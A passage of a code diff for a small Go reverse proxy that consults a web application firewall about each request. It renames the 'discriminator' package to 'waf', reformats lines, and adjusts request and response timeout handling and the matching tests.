 				received := make(chan []byte, 1)
-				app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
-					whole, _ := io.ReadAll(r.Body)
-					received <- whole
+				app := startApp(
+					t,
+					func(w http.ResponseWriter, r *http.Request) {
+						whole, _ := io.ReadAll(r.Body)
+						received <- whole
 
-					greet(w, r)
-				})
+						greet(w, r)
+					},
+				)
 				addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
 
-				req := newRequest(t, http.MethodPost, addr, "/", bytes.NewReader(body))
+				req := newRequest(
+					t,
+					http.MethodPost,
+					addr,
+					"/",
+					bytes.NewReader(body),
+				)
 				if !announced {
 					// Go's client sends a body of unknown length in chunks.
 					req.ContentLength = -1
@@ -224,7 +257,9 @@ func TestFirst64KiBReachDiscriminatorAndTheWholeBodyTheApp(t *testing.T) {
 					t.Error("the app did not get the whole body")
 				}
 
-				if report := standIn.report(t); report.RequestBytes != int64(size) {
+				if report := standIn.report(t); report.RequestBytes != int64(
+					size,
+				) {
 					t.Errorf("report %+v, of %d bytes", report, size)
 				}
 			})
@@ -240,11 +275,14 @@ func wantQuestionBody(
 	t.Helper()
 
 	if !bytes.Equal(asked.body, want) {
-		t.Errorf("the question carries %d bytes, want the first %d", len(asked.body),
-			len(want))
+		t.Errorf(
+			"the question carries %d bytes, want the first %d",
+			len(asked.body),
+			len(want),
+		)
 	}
 
-	values := asked.header.Values(discriminator.ContentLengthHeader)
+	values := asked.header.Values(waf.ContentLengthHeader)
 
 	if announced {
 		if !slices.Equal(values, []string{strconv.Itoa(size)}) ||
@@ -256,16 +294,20 @@ func wantQuestionBody(
 		return
 	}
 
-	if len(values) != 0 || !slices.Equal(asked.transferEncoding, []string{chunked}) {
-		t.Errorf("announced %v and encoded %v, want none and chunked", values,
-			asked.transferEncoding)
+	if len(values) != 0 ||
+		!slices.Equal(asked.transferEncoding, []string{chunked}) {
+		t.Errorf(
+			"announced %v and encoded %v, want none and chunked",
+			values,
+			asked.transferEncoding,
+		)
 	}
 }
 
 func TestDenyNeedsOnlyTheFirstPartOfALargeBody(t *testing.T) {
 	t.Parallel()
 
-	standIn := startDiscriminator(t, deny)
+	standIn := startWAF(t, deny)
 	app := startApp(t, greet)
 	addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
 
@@ -276,7 +318,7 @@ func TestDenyNeedsOnlyTheFirstPartOfALargeBody(t *testing.T) {
 		strings.Repeat("x", questionBodyMaxBytes))
 
 	if status := readStatus(t, conn); status != http.StatusForbidden {
-		t.Errorf("status %d, want discriminator's 403", status)
+		t.Errorf("status %d, want waf's 403", status)
 	}
 
 	if report := standIn.report(t); report.RequestBytes != questionBodyMaxBytes {
@@ -307,21 +349,30 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
 			t.Run(method+" "+tc.name, func(t *testing.T) {
 				t.Parallel()
 
-				standIn := startDiscriminator(t, deny)
+				standIn := startWAF(t, deny)
 				addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
 
 				conn := dial(t, addr)
-				send(t, conn, method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing)
+				send(
+					t,
+					conn,
+					method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing,
+				)
 
 				if status := readStatus(t, conn); status != http.StatusForbidden {
-					t.Errorf("status %d, want discriminator's 403", status)
+					t.Errorf("status %d, want waf's 403", status)
 				}
 
 				asked := standIn.question(t)
 				if string(asked.body) != tc.body ||
 					!slices.Equal(asked.transferEncoding, tc.encoding) {
-					t.Errorf("the question carries %q, encoded %v, want %q, encoded %v",
-						asked.body, asked.transferEncoding, tc.body, tc.encoding)
+					t.Errorf(
+						"the question carries %q, encoded %v, want %q, encoded %v",
+						asked.body,
+						asked.transferEncoding,
+						tc.body,
+						tc.encoding,
+					)
 				}
 			})
 		}
@@ -335,7 +386,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
 		t.Run(method, func(t *testing.T) {
 			t.Parallel()
 
-			standIn := startDiscriminator(t, allow)
+			standIn := startWAF(t, allow)
 			app := startApp(t, func(http.ResponseWriter, *http.Request) {
 				t.Error("the app was asked")
 			})
@@ -343,10 +394,15 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
 
 			got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
 			if got.status != http.StatusMethodNotAllowed ||
-				got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
+				got.header.Get(
+					"Allow",
+				) != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
 					"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+
 					"MKCALENDAR" {
-				t.Errorf("answered %+v, want 405 naming the methods passed on", got)
+				t.Errorf(
+					"answered %+v, want 405 naming the methods passed on",
+					got,
+				)
 			}
 
 			line := out.requestLine(t)
@@ -356,7 +412,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
 			}
 
 			if len(standIn.questions) != 0 {
-				t.Error("discriminator was asked")
+				t.Error("waf was asked")
 			}
 
 			standIn.wantNoReport(t)
@@ -364,7 +420,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
 	}
 }
 
-func TestEachMethodPassedOnReachesDiscriminatorAndTheApp(t *testing.T) {
+func TestEachMethodPassedOnReachesWAFAndTheApp(t *testing.T) {
 	t.Parallel()
 
 	for _, method := range []string{
@@ -377,7 +433,7 @@ func TestEachMethodPassedOnReachesDiscriminatorAndTheApp(t *testing.T) {
 			t.Parallel()
 
 			reached := make(chan string, 1)
-			standIn := startDiscriminator(t, allow)
+			standIn := startWAF(t, allow)
 			app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
 				reached <- r.Method
 			})
@@ -389,7 +445,7 @@ func TestEachMethodPassedOnReachesDiscriminatorAndTheApp(t *testing.T) {
 			}
 
 			if asked := standIn.question(t); asked.method != method {
-				t.Errorf("discriminator was asked about %s", asked.method)
+				t.Errorf("waf was asked about %s", asked.method)
 			}
 
 			if atApp := <-reached; atApp != method {
@@ -399,7 +455,7 @@ func TestEachMethodPassedOnReachesDiscriminatorAndTheApp(t *testing.T) {
 	}
 }
 
-func TestARequestThatCannotGoToDiscriminatorAsSentIsRefused(t *testing.T) {
+func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) {
 	t.Parallel()
 
 	const host = "Host: site.example\r\n\r\n"
@@ -421,7 +477,7 @@ func TestARequestThatCannotGoToDiscriminatorAsSentIsRefused(t *testing.T) {
 		t.Run(name, func(t *testing.T) {
 			t.Parallel()
 
-			standIn := startDiscriminator(t, allow)
+			standIn := startWAF(t, allow)
 			app := startApp(t, greet)
 			addr, out := startRProxy(t, standIn.URL, app.URL, nil)
 
@@ -439,7 +495,7 @@ func TestARequestThatCannotGoToDiscriminatorAsSentIsRefused(t *testing.T) {
 			}
 
 			if len(standIn.questions) != 0 {
-				t.Error("discriminator was asked")
+				t.Error("waf was asked")
 			}
 
 			standIn.wantNoReport(t)
@@ -447,12 +503,12 @@ func TestARequestThatCannotGoToDiscriminatorAsSentIsRefused(t *testing.T) {
 	}
 }
 
-func TestAHostWithAPercentSignButNoBracketGoesToDiscriminator(t *testing.T) {
+func TestAHostWithAPercentSignButNoBracketGoesToWAF(t *testing.T) {
 	t.Parallel()
 
 	const host = "a%b"
 
-	standIn := startDiscriminator(t, allow)
+	standIn := startWAF(t, allow)
 	app := startApp(t, greet)
 	addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
 
@@ -473,7 +529,7 @@ func TestATrustedPeerWithNoForwardedProtoIsAskedAboutAsHTTP(t *testing.T) {
 
 	const want = "http"
 
-	standIn := startDiscriminator(t, allow)
+	standIn := startWAF(t, allow)
 	app := startApp(t, greet)
 	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
 		trustedProxies: localhost + "/32",
@@ -483,7 +539,12 @@ func TestATrustedPeerWithNoForwardedProtoIsAskedAboutAsHTTP(t *testing.T) {
 
 	asked := standIn.question(t)
 	if got := asked.header.Get(forwardedProtoHeader); got != want {
-		t.Errorf("the question's %s is %q, want %s", forwardedProtoHeader, got, want)
+		t.Errorf(
+			"the question's %s is %q, want %s",
+			forwardedProtoHeader,
+			got,
+			want,
+		)
 	}
 }
 
@@ -502,21 +563,31 @@ func TestAQuestionNamesNoZone(t *testing.T) {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
-			standIn := startDiscriminator(t, deny)
+			standIn := startWAF(t, deny)
 			app := startApp(t, greet)
-			_, out, server := startServer(t, standIn.URL, app.URL, map[string]string{
-				trustedProxies: localhost + "/32",
-			})
+			_, out, server := startServer(
+				t,
+				standIn.URL,
+				app.URL,
+				map[string]string{
+					trustedProxies: localhost + "/32",
+				},
+			)
 
-			req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
+			req := httptest.NewRequestWithContext(
+				t.Context(),
+				http.MethodGet,
+				"/",
+				http.NoBody,
+			)
 			req.RemoteAddr = tc.remoteAddr
 			req.Header.Set(forwardedForHeader, tc.forwardedFor)
 
 			server.Handler.ServeHTTP(httptest.NewRecorder(), req)
 
 			asked := standIn.question(t)
-			if asked.header.Get(discriminator.ClientHeader) != tc.client ||
-				asked.header.Get(discriminator.PeerHeader) != tc.peer {
+			if asked.header.Get(waf.ClientHeader) != tc.client ||
+				asked.header.Get(waf.PeerHeader) != tc.peer {
 				t.Errorf("the question's headers are %v", asked.header)
 			}
 

internal/rproxy/request.go

@@ -16,16 +16,16 @@ import (
 	"sync/atomic"
 	"time"
 
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 	"sneak.berlin/go/smallwebwaf/internal/rules"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 
 // flushAfterEachWrite has ReverseProxy pass on each part of the app's answer as
 // soon as it arrives.
 const flushAfterEachWrite time.Duration = -1
 
-// reportStatusMax is the highest status discriminator takes in a report. An app can
+// reportStatusMax is the highest status waf takes in a report. An app can
 // send a higher one, up to 999, and the visitor gets that as it is.
 const reportStatusMax = 599
 
@@ -60,14 +60,14 @@ type request struct {
 	peerTrusted bool
 	start       time.Time
 
-	// disposition is what is done with the request: discriminator's valid disposition,
+	// disposition is what is done with the request: waf's valid disposition,
 	// or SWRP_DEFAULT_DISPOSITION. It is "" when neither gave one.
 	disposition string
-	// answered is true when discriminator gave disposition, which makes a report due,
+	// answered is true when waf gave disposition, which makes a report due,
 	// and byDefault when SWRP_DEFAULT_DISPOSITION did.
 	answered  bool
 	byDefault bool
-	// asn and country are discriminator's X-Client-ASN and X-Client-Country, for the
+	// asn and country are waf's X-Client-ASN and X-Client-Country, for the
 	// app.
 	asn, country string
 
@@ -96,24 +96,34 @@ type request struct {
 
 // newRequest starts handling r: it notes the time, works out the visitor from
 // the TCP peer and X-Forwarded-For, and makes the request's id.
-func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
+func (h *handler) newRequest(
+	w http.ResponseWriter,
+	r *http.Request,
+) *request {
 	peer := peerAddress(r)
 	trusted := h.config.TrustedProxies
 
 	rq := &request{
-		h:           h,
-		in:          r,
-		rc:          http.NewResponseController(w),
-		out:         &responseWriter{ResponseWriter: w},
-		id:          rand.Text(),
-		client:      clientAddress(peer, r.Header.Values("X-Forwarded-For"), trusted),
+		h:   h,
+		in:  r,
+		rc:  http.NewResponseController(w),
+		out: &responseWriter{ResponseWriter: w},
+		id:  rand.Text(),
+		client: clientAddress(
+			peer,
+			r.Header.Values("X-Forwarded-For"),
+			trusted,
+		),
 		peer:        peer,
 		peerTrusted: isInside(peer, trusted),
 		start:       time.Now(),
 	}
 
 	if r.Body != http.NoBody {
-		rq.body = &requestBody{body: limitBody(r.Body, h.config.MaxRequestSize), rq: rq}
+		rq.body = &requestBody{
+			body: limitBody(r.Body, h.config.MaxRequestSize),
+			rq:   rq,
+		}
 	}
 
 	return rq
@@ -131,14 +141,16 @@ func (rq *request) answerHealth() {
 // visitor too slow to send it is answered 408. For a malformed chunk, or a
 // visitor that went away or stopped its sending side, the connection is closed
 // without an answer. A body over SWRP_MAX_REQUEST_SIZE goes on with the part
-// read, so that discriminator is asked first; passToApp then refuses it.
+// read, so that waf is asked first; passToApp then refuses it.
 func (rq *request) readFirstPartOfBody() bool {
 	if rq.body == nil {
 		return true
 	}
 
 	_ = rq.rc.SetReadDeadline(rq.requestDeadline())
-	held, err := io.ReadAll(io.LimitReader(rq.body, discriminator.QuestionBodyMaxBytes))
+	held, err := io.ReadAll(
+		io.LimitReader(rq.body, waf.QuestionBodyMaxBytes),
+	)
 	// From here on, the request timer ends a read of the rest of the body, so that
 	// the answer can name the side rproxy was waiting on.
 	_ = rq.rc.SetReadDeadline(time.Time{})
@@ -200,7 +212,7 @@ func (rq *request) forward(ctx context.Context) {
 // rewrite makes the request the app receives: the visitor's request, unchanged,
 // sent to SWRP_UPSTREAM_URL, with the forwarded headers and the request's id set,
 // without any X-Client-ASN or X-Client-Country the visitor sent, and with
-// discriminator's.
+// waf's.
 func (rq *request) rewrite(pr *httputil.ProxyRequest) {
 	upstream := rq.h.config.UpstreamURL
 	pr.Out.URL.Scheme = upstream.Scheme
@@ -257,7 +269,8 @@ func (rq *request) modifyResponse(res *http.Response) error {
 	}
 
 	maxBytes := rq.h.config.MaxResponseSize
-	if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes {
+	if maxBytes > 0 && res.Body != http.NoBody &&
+		res.ContentLength > maxBytes {
 		rq.refuse(http.StatusBadGateway)
 
 		return errResponseTooLarge
@@ -272,6 +285,10 @@ func (rq *request) modifyResponse(res *http.Response) error {
 
 	rq.closeAfterAnswer()
 
+	// An answer that arrives before the app has been sent the whole request ends
+	// the request, and SWRP_MAX_RESPONSE_TIME_MS starts.
+	rq.startResponseTimer(requestEnd)
+
 	res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
 	rq.out.afterStatus = rq.setResponseDeadline
 
@@ -280,7 +297,11 @@ func (rq *request) modifyResponse(res *http.Response) error {
 
 // answerError is ReverseProxy's ErrorHandler: the request could not be passed to
 // the app, or the app's answer cannot be passed on.
-func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) {
+func (rq *request) answerError(
+	_ http.ResponseWriter,
+	_ *http.Request,
+	err error,
+) {
 	if rq.upgraded != nil {
 		// The app switched protocols, but the switch was not passed on, and
 		// ReverseProxy leaves the app's connection open when it refuses it.
@@ -296,7 +317,11 @@ func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error
 			panic(http.ErrAbortHandler)
 		}
 
-		rq.h.processLog.Warn("request to the app failed", "error", err.Error())
+		rq.h.processLog.Warn(
+			"request to the app failed",
+			"error",
+			err.Error(),
+		)
 
 		status = http.StatusBadGateway
 	}
@@ -333,7 +358,7 @@ func (rq *request) answer(status int) {
 // handler has returned, after finish has written the log line and sent the report.
 // Without Content-Length, the flush would send the body in chunks, the last of
 // which would still wait for the handler. A HEAD's answer has no body, so any
-// Content-Length it has stays as discriminator gave it.
+// Content-Length it has stays as waf gave it.
 func (rq *request) send(status int, body []byte) {
 	if rq.in.Method != http.MethodHead {
 		rq.out.Header().Set("Content-Length", strconv.Itoa(len(body)))
@@ -379,44 +404,68 @@ func (rq *request) refuse(status int) {
 	}
 }
 
-// finish ends the request's time limits, writes its log line and, if discriminator
+// finish ends the request's time limits, writes its log line and, if waf
 // answered the question, sends the report. ctx is the request's own context.
 func (rq *request) finish(ctx context.Context) {
 	rq.stopTimers()
 
-	if rq.refused.Load() == 0 {
-		rq.stopPassingOnBody()
+	// After a cut-off answer, the reading of a body that has not arrived whole
+	// ends now. Go's server would otherwise keep the connection open while it
+	// reads the rest. modifyResponse sets afterStatus only when it passes the
+	// app's answer on. Any refusal after that has cut the answer off, since a
+	// refusal ends the request to the app. Any answer is cut off when the time to
+	// send it runs out: a flush then fails, and every flush after a failed one
+	// fails too. ReverseProxy ignores the failure, but panics if it was still
+	// waiting for more of the app's answer; finish runs either way. Before a
+	// status, a flush would send a 200; after a 101, ReverseProxy has taken over
+	// the connection.
+	switch {
+	case rq.out.afterStatus != nil && rq.refused.Load() != 0,
+		rq.out.status != 0 && rq.out.status != http.StatusSwitchingProtocols &&
+			errors.Is(rq.rc.Flush(), os.ErrDeadlineExceeded):
+		rq.stopPassingOnBody(time.Now())
+	case rq.refused.Load() == 0:
+		rq.stopPassingOnBody(rq.requestDeadline())
 	}
 
 	requestEnd := rq.endRequest()
 	end := time.Now()
 	requestBytes, responseBytes := rq.bytesEachWay()
 
-	err := requestlog.WriteRProxyLine(rq.h.requestLog, &requestlog.RProxyLine{
-		Time:               requestlog.FormatTime(rq.start),
-		RequestID:          rq.id,
-		ClientIP:           rq.client.String(),
-		Host:               rq.in.Host,
-		Method:             rq.in.Method,
-		Path:               rules.Path(rq.in),
-		Query:              rq.in.URL.RawQuery,
-		Status:             rq.out.status,
-		RequestBytes:       requestBytes,
-		ResponseBytes:      responseBytes,
-		DurationRequestMS:  requestlog.Milliseconds(requestEnd.Sub(rq.start)),
-		DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
-		Disposition:        rq.disposition,
-		DefaultDisposition: rq.byDefault,
-	})
+	err := requestlog.WriteRProxyLine(
+		rq.h.requestLog,
+		&requestlog.RProxyLine{
+			Time:          requestlog.FormatTime(rq.start),
+			RequestID:     rq.id,
+			ClientIP:      rq.client.String(),
+			Host:          rq.in.Host,
+			Method:        rq.in.Method,
+			Path:          rules.Path(rq.in),
+			Query:         rq.in.URL.RawQuery,
+			Status:        rq.out.status,
+			RequestBytes:  requestBytes,
+			ResponseBytes: responseBytes,
+			DurationRequestMS: requestlog.Milliseconds(
+				requestEnd.Sub(rq.start),
+			),
+			DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
+			Disposition:        rq.disposition,
+			DefaultDisposition: rq.byDefault,
+		},
+	)
 	if err != nil {
-		rq.h.processLog.Error("writing the request log failed", "error", err.Error())
+		rq.h.processLog.Error(
+			"writing the request log failed",
+			"error",
+			err.Error(),
+		)
 	}
 
 	if !rq.answered {
 		return
 	}
 
-	report := &discriminator.Report{
+	report := &waf.Report{
 		RequestID:       rq.id,
 		Status:          min(rq.out.status, reportStatusMax),
 		RequestBytes:    requestBytes,
@@ -424,7 +473,9 @@ func (rq *request) finish(ctx context.Context) {
 		DurationTotalMS: requestlog.Milliseconds(end.Sub(rq.start)),
 	}
 	if !rq.upstreamStart.IsZero() {
-		report.DurationUpstreamTotalMS = requestlog.Milliseconds(end.Sub(rq.upstreamStart))
+		report.DurationUpstreamTotalMS = requestlog.Milliseconds(
+			end.Sub(rq.upstreamStart),
+		)
 	}
 
 	rq.h.sendReport(ctx, report)
@@ -473,10 +524,10 @@ func (rq *request) stopReadingBody(deadline time.Time) {
 }
 
 // stopPassingOnBody ends the transport's reading of a visitor's body that has
-// not arrived whole, and lets Go's server read the rest until
-// SWRP_MAX_REQUEST_TIME_MS runs out. Go's server reads it once the handler
-// returns, but with no deadline at all if another read of it is still waiting.
-func (rq *request) stopPassingOnBody() {
+// not arrived whole, and lets Go's server read the rest until deadline. Go's
+// server reads it once the handler returns, but with no deadline at all if
+// another read of it is still waiting.
+func (rq *request) stopPassingOnBody(deadline time.Time) {
 	if rq.body == nil || rq.body.received.Load() {
 		return
 	}
@@ -489,7 +540,7 @@ func (rq *request) stopPassingOnBody() {
 	rq.body.stopped = true
 	rq.body.mu.Unlock()
 
-	rq.stopReadingBody(rq.requestDeadline())
+	rq.stopReadingBody(deadline)
 }
 
 // startRequestTimer starts SWRP_MAX_REQUEST_TIME_MS, which runs from the
@@ -503,7 +554,10 @@ func (rq *request) startRequestTimer() {
 	rq.mu.Lock()
 	defer rq.mu.Unlock()
 
-	rq.requestTimer = time.AfterFunc(time.Until(deadline), rq.requestTimedOut)
+	rq.requestTimer = time.AfterFunc(
+		time.Until(deadline),
+		rq.requestTimedOut,
+	)
 }
 
 // requestTimedOut is called when SWRP_MAX_REQUEST_TIME_MS runs out while the
@@ -542,19 +596,29 @@ func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
 	requestEnd := rq.endRequest()
 
 	rq.mu.Lock()
-	defer rq.mu.Unlock()
+	stopTimer(rq.requestTimer)
+	rq.mu.Unlock()
 
-	if rq.timersStopped {
+	rq.startResponseTimer(requestEnd)
+}
+
+// startResponseTimer starts SWRP_MAX_RESPONSE_TIME_MS, which runs from
+// requestEnd, unless it has started already.
+func (rq *request) startResponseTimer(requestEnd time.Time) {
+	limit := rq.h.config.MaxResponseTime
+	if limit == 0 {
 		return
 	}
 
-	stopTimer(rq.requestTimer)
+	rq.mu.Lock()
+	defer rq.mu.Unlock()
 
-	limit := rq.h.config.MaxResponseTime
-	if limit > 0 {
-		rq.responseTimer = time.AfterFunc(time.Until(requestEnd.Add(limit)),
-			rq.responseTimedOut)
+	if rq.timersStopped || rq.responseTimer != nil {
+		return
 	}
+
+	rq.responseTimer = time.AfterFunc(time.Until(requestEnd.Add(limit)),
+		rq.responseTimedOut)
 }
 
 // responseTimedOut is called when SWRP_MAX_RESPONSE_TIME_MS runs out before the
@@ -584,7 +648,9 @@ func (rq *request) setResponseDeadline() {
 
 	deadline := rq.endRequest().Add(limit)
 
-	_ = rq.rc.SetWriteDeadline(time.Now().Add(max(time.Until(deadline), minSendTime)))
+	_ = rq.rc.SetWriteDeadline(
+		time.Now().Add(max(time.Until(deadline), minSendTime)),
+	)
 	_ = rq.rc.Flush()
 	_ = rq.rc.SetWriteDeadline(deadline)
 }

internal/rproxy/rproxy.go

@@ -1,10 +1,10 @@
-// Package rproxy is the reverse proxy in front of one app that asks discriminator
-// about each request. It passes a request discriminator allows to the app and the
+// Package rproxy is the reverse proxy in front of one app that asks waf
+// about each request. It passes a request waf allows to the app and the
 // app's answer back, within the size and time limits. Any other answer from
-// discriminator goes to the visitor as discriminator gave it. SWRP_DEFAULT_DISPOSITION
-// decides only when discriminator cannot be connected to, does not answer at all, or
+// waf goes to the visitor as waf gave it. SWRP_DEFAULT_DISPOSITION
+// decides only when waf cannot be connected to, does not answer at all, or
 // does not answer within SWRP_TIMEOUT_MS. rproxy itself refuses a request with a
-// method it does not pass on, or one it cannot put to discriminator as the visitor
+// method it does not pass on, or one it cannot put to waf as the visitor
 // sent it. It keeps nothing between requests and never touches disk. "rproxy" in
 // SPEC.md says what it does.
 package rproxy
@@ -22,10 +22,10 @@ import (
 	"time"
 
 	"sneak.berlin/go/smallwebwaf/internal/config"
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 
-// How rproxy keeps connections to the app and to discriminator open between
+// How rproxy keeps connections to the app and to waf open between
 // requests.
 const (
 	idleConns       = 100
@@ -78,16 +78,19 @@ type Server struct {
 // on.
 func New(params Params) *Server {
 	backend := params.Config.WAFBackend
-	errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn)
+	errorLog := slog.NewLogLogger(
+		params.ProcessLog.Handler(),
+		slog.LevelWarn,
+	)
 	h := &handler{
-		config:                 params.Config,
-		requestLog:             params.RequestLog,
-		processLog:             params.ProcessLog,
-		errorLog:               errorLog,
-		transport:              newTransport(),
-		discriminatorTransport: newDiscriminatorTransport(),
+		config:       params.Config,
+		requestLog:   params.RequestLog,
+		processLog:   params.ProcessLog,
+		errorLog:     errorLog,
+		transport:    newTransport(),
+		wafTransport: newWAFTransport(),
 		reportURL: (&url.URL{
-			Scheme: backend.Scheme, Host: backend.Host, Path: discriminator.ReportPath,
+			Scheme: backend.Scheme, Host: backend.Host, Path: waf.ReportPath,
 		}).String(),
 	}
 
@@ -122,10 +125,10 @@ type handler struct {
 	requestLog io.Writer
 	processLog *slog.Logger
 	errorLog   *log.Logger
-	// transport carries requests to the app, and discriminatorTransport questions and
-	// reports to discriminator.
-	transport              http.RoundTripper
-	discriminatorTransport http.RoundTripper
+	// transport carries requests to the app, and wafTransport questions and
+	// reports to waf.
+	transport    http.RoundTripper
+	wafTransport http.RoundTripper
 	// reportURL is where the reports go.
 	reportURL string
 	// reports waits for the reports being sent. reportsMu guards starting one
@@ -147,11 +150,11 @@ func newTransport() *http.Transport {
 	}
 }
 
-// newDiscriminatorTransport returns what carries questions and reports to
-// discriminator. It speaks HTTP/1.1 only. Go's HTTP/2 client refuses to send
+// newWAFTransport returns what carries questions and reports to
+// waf. It speaks HTTP/1.1 only. Go's HTTP/2 client refuses to send
 // a visitor's Upgrade header, or a Connection header other than close or
-// keep-alive, and that would read as discriminator giving no answer.
-func newDiscriminatorTransport() *http.Transport {
+// keep-alive, and that would read as waf giving no answer.
+func newWAFTransport() *http.Transport {
 	transport := newTransport()
 	transport.Protocols = new(http.Protocols)
 	transport.Protocols.SetHTTP1(true)
@@ -160,15 +163,15 @@ func newDiscriminatorTransport() *http.Transport {
 }
 
 // ServeHTTP handles one request: it answers the health check itself, refuses a
-// request with a method it does not pass on or one it cannot put to discriminator as
+// request with a method it does not pass on or one it cannot put to waf as
 // the visitor sent it, and for any other request reads the first part of the
-// body, asks discriminator, and does what the answer says. Once the answer has ended,
+// body, asks waf, and does what the answer says. Once the answer has ended,
 // it writes the request's log line and sends its report.
 func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 	rq := h.newRequest(w, r)
 	defer rq.finish(r.Context())
 
-	if r.Method == http.MethodGet && r.URL.Path == discriminator.HealthPath {
+	if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
 		rq.answerHealth()
 
 		return
@@ -201,9 +204,9 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 	rq.noteAnswer(answer)
 
 	switch rq.disposition {
-	case discriminator.DispositionAllow:
+	case waf.DispositionAllow:
 		rq.passToApp(r.Context())
-	case discriminator.DispositionClose:
+	case waf.DispositionClose:
 		// This panic has Go's server close the connection without an answer,
 		// and log nothing; the deferred finish still runs.
 		panic(http.ErrAbortHandler)
@@ -213,7 +216,7 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 }
 
 // passToApp passes the request on to the app, unless a limit or its path keeps
-// it from the app. discriminator answers a path under ownEndpointPrefix itself, so
+// it from the app. waf answers a path under ownEndpointPrefix itself, so
 // such a request gets here only when SWRP_DEFAULT_DISPOSITION allowed it. ctx is the
 // request's own context.
 func (rq *request) passToApp(ctx context.Context) {

internal/rproxy/waf.go

@@ -11,38 +11,40 @@ import (
 	"net/http"
 	"strings"
 
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 
-// answerBodyMaxBytes is the most of the body of discriminator's answer that is read.
+// answerBodyMaxBytes is the most of the body of waf's answer that is read.
 // It is far above any answer's.
 const answerBodyMaxBytes = 1 << 20
 
 // reportAnswerMaxBytes is the most of the answer to a report that is read,
-// which has no body when discriminator takes the report.
+// which has no body when waf takes the report.
 const reportAnswerMaxBytes = 4 << 10
 
 var (
-	errCannotPassOn  = errors.New("the answer cannot be passed to the visitor")
+	errCannotPassOn = errors.New(
+		"the answer cannot be passed to the visitor",
+	)
 	errReportRefused = errors.New("the report was answered")
 )
 
-// discriminatorAnswer is what discriminator answered to a question.
-type discriminatorAnswer struct {
+// wafAnswer is what waf answered to a question.
+type wafAnswer struct {
 	status int
 	header http.Header
 	body   []byte
 }
 
-// noteAnswer notes what discriminator answered. An answer without a valid disposition
-// notes nothing, and no report is due for it: discriminator holds no decision to report
+// noteAnswer notes what waf answered. An answer without a valid disposition
+// notes nothing, and no report is due for it: waf holds no decision to report
 // on.
-func (rq *request) noteAnswer(answer *discriminatorAnswer) {
-	disposition := answer.header.Get(discriminator.DispositionHeader)
+func (rq *request) noteAnswer(answer *wafAnswer) {
+	disposition := answer.header.Get(waf.DispositionHeader)
 
 	switch disposition {
-	case discriminator.DispositionAllow, discriminator.DispositionDeny,
-		discriminator.DispositionClose:
+	case waf.DispositionAllow, waf.DispositionDeny,
+		waf.DispositionClose:
 		rq.disposition = disposition
 		rq.answered = true
 		rq.asn = answer.header.Get(asnHeader)
@@ -55,27 +57,27 @@ func (rq *request) noteAnswer(answer *discriminatorAnswer) {
 func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
 	switch {
 	case ctx.Err() != nil:
-		// The visitor went away while discriminator was being asked. discriminator has not
+		// The visitor went away while waf was being asked. waf has not
 		// failed, and nothing is noted. This panic has Go's server close the
 		// connection without an answer, and log nothing; the deferred finish still
 		// runs.
 		panic(http.ErrAbortHandler)
 	case errors.Is(err, errCannotPassOn):
-		rq.h.processLog.Warn("discriminator's answer is dropped", "error", err.Error())
+		rq.h.processLog.Warn("waf's answer is dropped", "error", err.Error())
 		rq.answer(http.StatusBadGateway)
 	default:
-		// discriminator cannot be connected to, does not answer at all, or does not answer
-		// within SWRP_TIMEOUT_MS. A request that keeps discriminator busy past
-		// SWRP_TIMEOUT_MS, like any request while discriminator is overloaded, gets
+		// waf cannot be connected to, does not answer at all, or does not answer
+		// within SWRP_TIMEOUT_MS. A request that keeps waf busy past
+		// SWRP_TIMEOUT_MS, like any request while waf is overloaded, gets
 		// SWRP_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503
-		// whenever discriminator is slow. Making such requests hard to send is
+		// whenever waf is slow. Making such requests hard to send is
 		// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
-		rq.h.processLog.Warn("discriminator gave no answer", "error", err.Error())
+		rq.h.processLog.Warn("waf gave no answer", "error", err.Error())
 
 		rq.disposition = rq.h.config.DefaultDisposition
 		rq.byDefault = true
 
